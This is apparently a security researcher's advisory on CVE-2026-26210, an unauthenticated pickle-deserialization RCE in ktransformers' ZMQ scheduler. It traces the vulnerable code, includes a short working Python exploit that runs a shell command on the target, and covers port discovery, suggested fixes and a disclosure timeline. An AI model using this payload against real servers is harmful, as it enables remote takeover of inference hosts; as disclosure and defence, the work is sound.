CVE-2026-26210: ktransformers Unauthenticated RCE via Pickle Deserialization in ZMQ Scheduler

Valentin Lobstein / April 22, 2026

CVE RCE

Introduction

As part of my audit of pickle deserialization in ML inference frameworks, I found a critical RCE in **ktransformers**, a high-performance LLM (Large Language Model) inference engine by KVCache.AI with 16,500 stars.

The `balance_serve` backend starts a ZMQ ROUTER socket bound to all network interfaces. Messages flow through a ROUTER/DEALER proxy into worker threads that call `pickle.loads()` on the raw bytes. **No auth, no validation, no restricted unpickler.**

Target: kvcache-ai/ktransformers **Stars:** 16,500 **Severity:** Critical (CVSS 3.1: 9.8)

What is ktransformers?

ktransformers is a framework for optimized LLM inference that mixes CPU and GPU computation to run large models on consumer hardware. It gained

attention for running DeepSeek-V3 (a 671B parameter model) on a single node.

The project has multiple backend modes. The `balance_serve` backend is the legacy multi-concurrency mode that uses a ZMQ-based RPC scheduler to distribute inference requests across worker threads. It's documented in `doc/en/balance-serve.md` and activated with `--backend_type balance_serve`.

The Vulnerability

The scheduler RPC code is in `kt-sft/ktransformers/server/balance_serve/sched_rpc.py`. The flow is straightforward:

Line 31 - ROUTER socket binds to all interfaces:

```
self.frontend.bind(f"tcp://*:{main_args.sched_port}")
```

Lines 35-39 - ROUTER/DEALER proxy forwards messages to worker threads:

```
self.backend = context.socket(zmq.DEALER)
self.backend.bind("inproc://workers")
zmq.proxy(self.frontend, self.backend)
```

Lines 49-51 - Worker thread deserializes the message:

```
worker = context.socket(zmq.REP)
worker.connect("inproc://workers")
# ...
```

```
message = worker.recv()
data = pickle.loads(message)  # RCE
```

Here's the complete picture: the ROUTER socket accepts connections from anywhere on the network. It proxies the raw message bytes through a DEALER socket to a pool of REP worker threads. Each worker calls `pickle.loads()` on whatever it receives. There's a `try/except` around the pickle call that catches all exceptions and returns an error response - meaning **the worker thread survives and keeps processing requests** even after a malicious payload.

The port is assigned dynamically at runtime via `get_free_ports()` (the config default of 56441 is overridden). The assigned port appears in server logs.

Proof of Concept

The Exploit

```
import zmq, pickle, os

class RCE:
    def __reduce__(self):
        return (os.system, ('id > /tmp/ktransformers_pwned',))

ctx = zmq.Context()
sock = ctx.socket(zmq.REQ)
sock.connect('tcp://target:PORT')  # port from server logs or ZMQ scan
sock.send(pickle.dumps(RCE()))
```

Result

```
$ cat /tmp/ktransformers_pwned
uid=1000(chocapikk) gid=1001(chocapikk) groups=1001(chocapikk),4(adm),24(cdrom),
```

The server returns an error response (the `int` from `os.system()` doesn't have the `.get()` method the worker expects), but the command has already executed during `pickle.loads()`.

Port Discovery

The ZMQ ROUTER socket port is assigned dynamically. An attacker can discover it by:

1. Reading server logs (the port is printed at startup)
2. Scanning the ephemeral port range for ZMQ sockets (the 0xFF greeting byte is a reliable fingerprint)

The PoC includes a ZMQ port scanner that probes ports 30000-65535 for the ZMQ greeting signature.

Note on GPU Requirement

The `pickle.loads()` call at line 51 executes in the ZMQ worker thread when a message is received, before any GPU inference. However, the ktransformers server requires CUDA to initialize the model. A machine with an NVIDIA GPU is needed to reproduce the full attack chain.

Deployment Context

The official Docker deployment uses `--network=host`, which bypasses Docker's network isolation and exposes the ZMQ port directly on the host interface. From the project's Docker documentation:

```
docker run ... --network=host ... ktransformers
```

This means even containerized deployments don't benefit from Docker's network isolation. The ZMQ port is accessible from the host and any other container on the same network.

The `balance_serve` backend is the legacy multi-concurrency mode. The modern recommended deployment uses SGLang integration (`python -m sglang.launch_server` with kt-kernel), which does NOT start the vulnerable ZMQ socket. The vulnerability affects users who deploy with `--backend_type balance_serve`.

Suggested Fix

1. **Replace `pickle.loads()` with JSON or MessagePack** for the RPC protocol. Inference requests are structured data that doesn't require pickle.
2. **Bind to `127.0.0.1` instead of `tcp://*`** by default. If cross-node communication is needed, require explicit opt-in for network binding.
3. **Add authentication.** ZMQ supports CurveZMQ for encrypted and authenticated communication. Even a shared secret would prevent casual exploitation.
4. **If pickle is required, use a `RestrictedUnpickler`** with an explicit allowlist of safe classes.

Timeline

- **2026-02-11:** Vulnerability discovered and confirmed by code audit
- **2026-02-11:** CVE request submitted to VulnCheck
- **2026-04-23:** CVE-2026-26210 published
- **2026-04-23:** Fix PR submitted (#1944)

Takeaways

ktransformers is a clean target - no prior CVE, no prior security report. The vulnerability is in a clearly active part of the codebase (`kt-sft/` directory, documented backend mode) rather than dead code.

The ROUTER/DEALER proxy pattern makes the vulnerability less obvious than a simple socket. A developer reviewing the code might look at the ROUTER socket setup and not immediately realize that the messages end up being deserialized with `pickle.loads()` in a separate worker thread. The proxy just moves bytes around - the dangerous part happens elsewhere. Combined with the `--network=host` Docker recommendation (which nullifies container isolation), this is a particularly easy target in production environments.

Loading comments...